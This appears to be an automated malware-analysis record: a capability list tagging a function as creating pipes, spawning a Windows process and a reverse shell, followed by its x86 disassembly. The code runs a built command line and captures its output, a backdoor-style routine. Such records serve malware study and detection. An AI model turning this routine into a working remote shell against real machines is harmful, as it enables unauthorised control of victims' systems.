Function at 0x404bce
Capabilities:
Check for protected handle exception
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [ebp + 0x18]
push ebx
xor ebx, ebx
push esi
mov ecx, dword [eax]
push edi
mov dword [eax], ebx
xor eax, eax
lea edi, [ebp - 8]
mov esi, 0x200
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 1
call edi
test eax, eax
je 0x404ddb
lea eax, [ebp - 0x20]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call edi
test eax, eax
je 0x404ddb
push 0x11
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
pop ecx
xor eax, eax
lea edi, [ebp - 0x74]
push ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 8]
push 1
push dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 0x48], 0x100
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call esi
push ebx
push 1
push dword [ebp - 4]
call esi
mov ax, word [0x41e250]
or ecx, 0xffffffff
mov word [ebp - 0x474], ax
mov eax, dword [ebp + 0x10]
lea edx, [ebp - 0x474]
mov edi, dword [eax]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x474]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41e250
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov ecx, edx
and ecx, 3
cmp eax, 1
rep movsb byte es:[edi], byte [esi]
jle 0x404d64
mov ecx, dword [ebp + 0x10]
add ecx, 4
dec eax
mov dword [ebp + 0x10], ecx
mov dword [ebp + 0xc], eax
mov edi, 0x41d0d0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x474]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, dword [ebp + 0x10]
and ecx, 3
lea edx, [ebp - 0x474]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [eax]
or ecx, 0xffffffff
xor eax, eax
add dword [ebp + 0x10], 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
dec dword [ebp + 0xc]
rep movsb byte es:[edi], byte [esi]
jne 0x404cfb
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0x474]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, eax
cmp edi, ebx
je 0x404d97
cmp dword [ebp - 0x30], ebx
je 0x404d97
push 0xffffffffffffffff
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
cmp edi, ebx
je 0x404dd1
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x30]
call esi
mov edi, dword [ebp + 0x14]
push ebx
push dword [ebp + 0x18]
push dword [ebp - 0x14]
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
mov byte [eax + edi], bl
push dword [ebp - 0x10]
call esi
push dword [ebp - 4]
jmp 0x404df3
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret